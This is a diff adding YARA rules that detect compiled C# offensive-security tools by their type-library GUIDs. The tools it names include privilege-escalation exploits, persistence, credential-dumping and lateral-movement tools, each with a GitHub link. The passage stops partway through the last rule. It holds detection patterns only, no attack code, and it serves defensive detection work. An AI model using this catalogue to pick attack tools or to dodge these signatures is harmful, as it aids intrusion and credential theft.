+rule HKTL_NET_GUID_SharpFruit {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/rvrsh3ll/SharpFruit"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "bf318530-b17d-5275-84b2-c284528bdae6"
+    strings:
+        $typelibguid0lo = "3da2f6de-75be-4c9d-8070-08da45e79761" ascii wide
+        $typelibguid0up = "3DA2F6DE-75BE-4C9D-8070-08DA45E79761" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpWitness {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/rasta-mouse/SharpWitness"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "5e707da6-b2dd-511e-89ad-d19b93e8fca6"
+    strings:
+        $typelibguid0lo = "b9f6ec34-4ccc-4247-bcef-c1daab9b4469" ascii wide
+        $typelibguid0up = "B9F6EC34-4CCC-4247-BCEF-C1DAAB9B4469" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_RexCrypter {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/syrex1013/RexCrypter"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "5ebbeab3-3e93-5544-8f74-3d1b47335d8b"
+    strings:
+        $typelibguid0lo = "10cd7c1c-e56d-4b1b-80dc-e4c496c5fec5" ascii wide
+        $typelibguid0up = "10CD7C1C-E56D-4B1B-80DC-E4C496C5FEC5" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharPersist {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/fireeye/SharPersist"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "0c181186-7bb4-502b-8937-60cfd88ce689"
+    strings:
+        $typelibguid0lo = "9d1b853e-58f1-4ba5-aefc-5c221ca30e48" ascii wide
+        $typelibguid0up = "9D1B853E-58F1-4BA5-AEFC-5C221CA30E48" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_CVE_2019_1253 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/padovah4ck/CVE-2019-1253"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "3e18b533-1b85-5eaf-bb3d-aa5b90fd2e28"
+    strings:
+        $typelibguid0lo = "584964c1-f983-498d-8370-23e27fdd0399" ascii wide
+        $typelibguid0up = "584964C1-F983-498D-8370-23E27FDD0399" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_scout {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/jaredhaight/scout"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "cd24cca7-3bc0-5e7a-9817-dc3b26ec8358"
+    strings:
+        $typelibguid0lo = "d9c76e82-b848-47d4-8f22-99bf22a8ee11" ascii wide
+        $typelibguid0up = "D9C76E82-B848-47D4-8F22-99BF22A8EE11" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Grouper2 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/l0ss/Grouper2/"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "a9cd9a16-b2a5-5d15-af89-7a8d0f1835bb"
+    strings:
+        $typelibguid0lo = "5decaea3-2610-4065-99dc-65b9b4ba6ccd" ascii wide
+        $typelibguid0up = "5DECAEA3-2610-4065-99DC-65B9B4BA6CCD" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_CasperStager {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/ustayready/CasperStager"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "0ad18d2b-b7cc-5316-a8e8-b05d4439b8e1"
+    strings:
+        $typelibguid0lo = "c653a9f2-0939-43c8-9b93-fed5e2e4c7e6" ascii wide
+        $typelibguid0up = "C653A9F2-0939-43C8-9B93-FED5E2E4C7E6" ascii wide
+        $typelibguid1lo = "48dfc55e-6ae5-4a36-abef-14bc09d7510b" ascii wide
+        $typelibguid1up = "48DFC55E-6AE5-4A36-ABEF-14BC09D7510B" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_TellMeYourSecrets {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/0xbadjuju/TellMeYourSecrets"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "b00c353b-0446-5faa-87e5-0a7ba6ec2286"
+    strings:
+        $typelibguid0lo = "9b448062-7219-4d82-9a0a-e784c4b3aa27" ascii wide
+        $typelibguid0up = "9B448062-7219-4D82-9A0A-E784C4B3AA27" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpExcel4_DCOM {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/rvrsh3ll/SharpExcel4-DCOM"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "12d3f26b-40ca-5034-a7c2-9be9c8a7599b"
+    strings:
+        $typelibguid0lo = "68b83ce5-bbd9-4ee3-b1cc-5e9223fab52b" ascii wide
+        $typelibguid0up = "68B83CE5-BBD9-4EE3-B1CC-5E9223FAB52B" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpShooter {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/mdsecactivebreach/SharpShooter"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "a59e6fe9-dbaf-5830-8cf1-485ff4dd939a"
+    strings:
+        $typelibguid0lo = "56598f1c-6d88-4994-a392-af337abe5777" ascii wide
+        $typelibguid0up = "56598F1C-6D88-4994-A392-AF337ABE5777" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_NoMSBuild {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/rvrsh3ll/NoMSBuild"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "9bc0661d-c60f-582b-8f88-87e3dfa13ddd"
+    strings:
+        $typelibguid0lo = "034a7b9f-18df-45da-b870-0e1cef500215" ascii wide
+        $typelibguid0up = "034A7B9F-18DF-45DA-B870-0E1CEF500215" ascii wide
+        $typelibguid1lo = "59b449d7-c1e8-4f47-80b8-7375178961db" ascii wide
+        $typelibguid1up = "59B449D7-C1E8-4F47-80B8-7375178961DB" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_TeleShadow2 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/ParsingTeam/TeleShadow2"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "5b22f2c4-0bd1-5a5a-8867-8fbc773d2b44"
+    strings:
+        $typelibguid0lo = "42c5c356-39cf-4c07-96df-ebb0ccf78ca4" ascii wide
+        $typelibguid0up = "42C5C356-39CF-4C07-96DF-EBB0CCF78CA4" ascii wide
+        $typelibguid1lo = "0242b5b1-4d26-413e-8c8c-13b4ed30d510" ascii wide
+        $typelibguid1up = "0242B5B1-4D26-413E-8C8C-13B4ED30D510" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_BadPotato {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/BeichenDream/BadPotato"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "8bee12fc-fc29-5256-b559-d914ef202c0c"
+    strings:
+        $typelibguid0lo = "0527a14f-1591-4d94-943e-d6d784a50549" ascii wide
+        $typelibguid0up = "0527A14F-1591-4D94-943E-D6D784A50549" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_LethalHTA {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/codewhitesec/LethalHTA"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "e8e1ad03-a5f0-5508-b78d-0de7bdaf4704"
+    strings:
+        $typelibguid0lo = "784cde17-ff0f-4e43-911a-19119e89c43f" ascii wide
+        $typelibguid0up = "784CDE17-FF0F-4E43-911A-19119E89C43F" ascii wide
+        $typelibguid1lo = "7e2de2c0-61dc-43ab-a0ec-c27ee2172ea6" ascii wide
+        $typelibguid1up = "7E2DE2C0-61DC-43AB-A0EC-C27EE2172EA6" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpStat {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/Raikia/SharpStat"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "649c6cc0-e43b-558c-9567-00f352af528b"
+    strings:
+        $typelibguid0lo = "ffc5c721-49c8-448d-8ff4-2e3a7b7cc383" ascii wide
+        $typelibguid0up = "FFC5C721-49C8-448D-8FF4-2E3A7B7CC383" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SneakyService {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/malcomvetter/SneakyService"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "d02d34f0-7aa1-5110-b7ea-670b5fb98150"
+    strings:
+        $typelibguid0lo = "897819d5-58e0-46a0-8e1a-91ea6a269d84" ascii wide
+        $typelibguid0up = "897819D5-58E0-46A0-8E1A-91EA6A269D84" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpExec {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/anthemtotheego/SharpExec"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "5faff0aa-9ffe-5ac0-b9e0-ca9f79350036"
+    strings:
+        $typelibguid0lo = "7fbad126-e21c-4c4e-a9f0-613fcf585a71" ascii wide
+        $typelibguid0up = "7FBAD126-E21C-4C4E-A9F0-613FCF585A71" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpCOM {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/rvrsh3ll/SharpCOM"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "94da3da4-a8aa-5735-9a04-1f2447a330aa"
+    strings:
+        $typelibguid0lo = "51960f7d-76fe-499f-afbd-acabd7ba50d1" ascii wide
+        $typelibguid0up = "51960F7D-76FE-499F-AFBD-ACABD7BA50D1" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Inception {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/two06/Inception"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "8d18f1d5-9c9a-5258-9f96-fa24b702c6ad"
+    strings:
+        $typelibguid0lo = "03d96b8c-efd1-44a9-8db2-0b74db5d247a" ascii wide
+        $typelibguid0up = "03D96B8C-EFD1-44A9-8DB2-0B74DB5D247A" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpWMI_1 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/QAX-A-Team/sharpwmi"
+        old_rule_name = "HKTL_NET_GUID_sharpwmi"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "cd5a1c7b-a45a-5541-b1b0-cf19c991ed22"
+    strings:
+        $typelibguid0lo = "bb357d38-6dc1-4f20-a54c-d664bd20677e" ascii wide
+        $typelibguid0up = "BB357D38-6DC1-4F20-A54C-D664BD20677E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_CVE_2019_1064 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/RythmStick/CVE-2019-1064"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "4640e874-faa4-58dc-a3f3-18246a343f15"
+    strings:
+        $typelibguid0lo = "ff97e98a-635e-4ea9-b2d0-1a13f6bdbc38" ascii wide
+        $typelibguid0up = "FF97E98A-635E-4EA9-B2D0-1A13F6BDBC38" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Tokenvator {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/0xbadjuju/Tokenvator"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "84ebb6b3-cf11-5172-95d4-d114bfeb0bc7"
+    strings:
+        $typelibguid0lo = "4b2b3bd4-d28f-44cc-96b3-4a2f64213109" ascii wide
+        $typelibguid0up = "4B2B3BD4-D28F-44CC-96B3-4A2F64213109" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_WheresMyImplant {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/0xbadjuju/WheresMyImplant"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "c99523ce-e2c0-5a21-89d1-70c0dd970731"
+    strings:
+        $typelibguid0lo = "cca59e4e-ce4d-40fc-965f-34560330c7e6" ascii wide
+        $typelibguid0up = "CCA59E4E-CE4D-40FC-965F-34560330C7E6" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_Naga {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/byt3bl33d3r/Naga"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "3a9d3154-a8f1-57a4-8b61-498e2ebdfa42"
+    strings:
+        $typelibguid0lo = "99428732-4979-47b6-a323-0bb7d6d07c95" ascii wide
+        $typelibguid0up = "99428732-4979-47B6-A323-0BB7D6D07C95" ascii wide
+        $typelibguid1lo = "a2c9488f-6067-4b17-8c6f-2d464e65c535" ascii wide
+        $typelibguid1up = "A2C9488F-6067-4B17-8C6F-2D464E65C535" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpBox {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/P1CKLES/SharpBox"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "fda1a67f-d746-5ddb-a33f-97d608b13bc9"
+    strings:
+        $typelibguid0lo = "616c1afb-2944-42ed-9951-bf435cadb600" ascii wide
+        $typelibguid0up = "616C1AFB-2944-42ED-9951-BF435CADB600" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_rundotnetdll32 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/0xbadjuju/rundotnetdll32"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "266c8add-d2ca-5e46-8594-5d190447d133"
+    strings:
+        $typelibguid0lo = "a766db28-94b6-4ed1-aef9-5200bbdd8ca7" ascii wide
+        $typelibguid0up = "A766DB28-94B6-4ED1-AEF9-5200BBDD8CA7" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_AntiDebug {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/malcomvetter/AntiDebug"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "f381081b-d0cb-593d-ad3d-28816f770b67"
+    strings:
+        $typelibguid0lo = "997265c1-1342-4d44-aded-67964a32f859" ascii wide
+        $typelibguid0up = "997265C1-1342-4D44-ADED-67964A32F859" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DInvisibleRegistry {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/NVISO-BE/DInvisibleRegistry"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "98409bbe-6346-5825-b7f7-c1afeac2b038"
+    strings:
+        $typelibguid0lo = "31d576fb-9fb9-455e-ab02-c78981634c65" ascii wide
+        $typelibguid0up = "31D576FB-9FB9-455E-AB02-C78981634C65" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_TikiTorch {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/rasta-mouse/TikiTorch"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "354ee690-a0d0-5cc5-a73b-53b916ed0169"
+    strings:
+        $typelibguid0lo = "806c6c72-4adc-43d9-b028-6872fa48d334" ascii wide
+        $typelibguid0up = "806C6C72-4ADC-43D9-B028-6872FA48D334" ascii wide
+        $typelibguid1lo = "2ef9d8f7-6b77-4b75-822b-6a53a922c30f" ascii wide
+        $typelibguid1up = "2EF9D8F7-6B77-4B75-822B-6A53A922C30F" ascii wide
+        $typelibguid2lo = "8f5f3a95-f05c-4dce-8bc3-d0a0d4153db6" ascii wide
+        $typelibguid2up = "8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6" ascii wide
+        $typelibguid3lo = "1f707405-9708-4a34-a809-2c62b84d4f0a" ascii wide
+        $typelibguid3up = "1F707405-9708-4A34-A809-2C62B84D4F0A" ascii wide
+        $typelibguid4lo = "97421325-b6d8-49e5-adf0-e2126abc17ee" ascii wide
+        $typelibguid4up = "97421325-B6D8-49E5-ADF0-E2126ABC17EE" ascii wide
+        $typelibguid5lo = "06c247da-e2e1-47f3-bc3c-da0838a6df1f" ascii wide
+        $typelibguid5up = "06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F" ascii wide
+        $typelibguid6lo = "fc700ac6-5182-421f-8853-0ad18cdbeb39" ascii wide
+        $typelibguid6up = "FC700AC6-5182-421F-8853-0AD18CDBEB39" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_HiveJack {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/Viralmaniar/HiveJack"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "10567ef4-780f-5e93-9061-3214116d6bbb"
+    strings:
+        $typelibguid0lo = "e12e62fe-bea3-4989-bf04-6f76028623e3" ascii wide
+        $typelibguid0up = "E12E62FE-BEA3-4989-BF04-6F76028623E3" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_DecryptAutoLogon {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/securesean/DecryptAutoLogon"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "3ef58da9-16c1-54cf-9d06-a05680548cf5"
+    strings:
+        $typelibguid0lo = "015a37fc-53d0-499b-bffe-ab88c5086040" ascii wide
+        $typelibguid0up = "015A37FC-53D0-499B-BFFE-AB88C5086040" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_UnstoppableService {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/malcomvetter/UnstoppableService"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "8c65fbee-d779-57a8-851b-7583be66c67a"
+    strings:
+        $typelibguid0lo = "0c117ee5-2a21-dead-beef-8cc7f0caaa86" ascii wide
+        $typelibguid0up = "0C117EE5-2A21-DEAD-BEEF-8CC7F0CAAA86" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpWMI_2 {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/GhostPack/SharpWMI"
+        old_rule_name = "HKTL_NET_GUID_SharpWMI"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "e6ab2f5e-2a5a-5be9-9b66-96cb745fd199"
+    strings:
+        $typelibguid0lo = "6dd22880-dac5-4b4d-9c91-8c35cc7b8180" ascii wide
+        $typelibguid0up = "6DD22880-DAC5-4B4D-9C91-8C35CC7B8180" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_EWSToolkit {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/rasta-mouse/EWSToolkit"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "acde7744-d17f-5e47-a5e2-ff4f4c4d8093"
+    strings:
+        $typelibguid0lo = "ca536d67-53c9-43b5-8bc8-9a05fdc567ed" ascii wide
+        $typelibguid0up = "CA536D67-53C9-43B5-8BC8-9A05FDC567ED" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SweetPotato {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/CCob/SweetPotato"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "0e347d94-51eb-5589-93d8-b19fec7f2365"
+    strings:
+        $typelibguid0lo = "6aeb5004-6093-4c23-aeae-911d64cacc58" ascii wide
+        $typelibguid0up = "6AEB5004-6093-4C23-AEAE-911D64CACC58" ascii wide
+        $typelibguid1lo = "1bf9c10f-6f89-4520-9d2e-aaf17d17ba5e" ascii wide
+        $typelibguid1up = "1BF9C10F-6F89-4520-9D2E-AAF17D17BA5E" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_memscan {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/nccgroup/memscan"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2020-12-28"
+        modified = "2023-04-06"
+        id = "35175fe1-a583-50d1-8b0c-71f19b898817"
+    strings:
+        $typelibguid0lo = "79462f87-8418-4834-9356-8c11e44ce189" ascii wide
+        $typelibguid0up = "79462F87-8418-4834-9356-8C11E44CE189" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+
+rule HKTL_NET_GUID_SharpStay {
+    meta:
+        description = "Detects c# red/black-team tools via typelibguid"
+        reference = "https://github.com/0xthirteen/SharpStay"
